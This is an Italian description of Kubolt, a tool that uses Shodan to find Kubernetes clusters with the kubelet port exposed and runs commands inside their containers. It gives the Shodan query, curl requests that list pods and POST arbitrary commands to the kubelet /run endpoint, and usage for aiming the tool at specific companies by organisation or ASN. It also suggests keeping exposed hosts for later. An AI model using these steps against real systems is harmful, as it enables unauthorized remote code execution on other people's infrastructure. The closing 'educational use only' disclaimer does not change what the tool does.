
Kubolt strumento per la scansione di cluster Kubernetes pubblici
Kubolt è un semplice strumento per scansionare cluster Kubernetes pubblici non autenticati ed eseguire comandi all'interno dei container
A volte, la porta kubelet 10250 è aperta per accessi non autorizzati e rende possibile eseguire comandi all'interno dei container utilizzando la funzione getrun da kubelet:
// getRun handles requests to run a command inside a container.
func (s *Server) getRun(request *restful.Request, response *restful.Response) {
params := getExecRequestParams(request)
pod, ok := s.host.GetPodByName(params.podNamespace, params.podName)
if !ok {
response.WriteError(http.StatusNotFound, fmt.Errorf("pod does not exist"))
return
}
Ok, chiediamo al nostro amico Shodan :trollface:
La query di base è
ssl:true port:10250 404
Kubelet utilizza la porta 10250 con SSL per impostazione predefinita, 404 è la risposta HTTP senza percorso URL.
Kubolt chiede a Shodan tramite API una lista di indirizzi IP e li conserva per altre azioni di OSINT 😁
Prima di tutto, chiediamo a Kubelet i pod in esecuzione e filtriamo gli host in cui la risposta non contiene Unauthorized e contiene container in modo da poter eseguire comandi al suo interno.
curl -k https://IP-from-Shodan:10250/runningpods/
Comunque, se trovi un host senza pod in esecuzione in quel momento, conservalo per la prossima volta in cui i pod potrebbero essere avviati 😁
Puoi elencare tutti i pod disponibili da queste richieste:
curl -k https://IP-from-Shodan:10250/pods/
#or
curl http://IP-from-Shodan:10255/pods/
Successivamente kubolt analizza la risposta e genera una nuova richiesta come segue:
curl -XPOST -k https://IP-from-Shodan:10250/run/<namespace>/<PodName>/<containerName> -d "cmd=<command-to-run>"
Puoi indirizzare le aziende in modo più accurato utilizzando i filtri Shodan come:
mkdir output
pip install -r requirements.txt
python kubolt.py --query "asn:123123 org:'ACME Corporation'"
#or
python kubolt.py --query "org:'ACME Corporation' country:UK"
Kubolt utilizza l'API Shodan e i Query Credits di conseguenza, se esegui lo strumento senza filtri di query, probabilmente consumerai tutti i tuoi crediti ¯\_(ツ)_/¯

Lo strumento fornito dall'autore dovrebbe essere utilizzato solo a scopo educativo. L'autore non può essere ritenuto responsabile per un uso improprio dello strumento. L'autore non è responsabile per eventuali danni diretti o indiretti causati dall'uso dello strumento.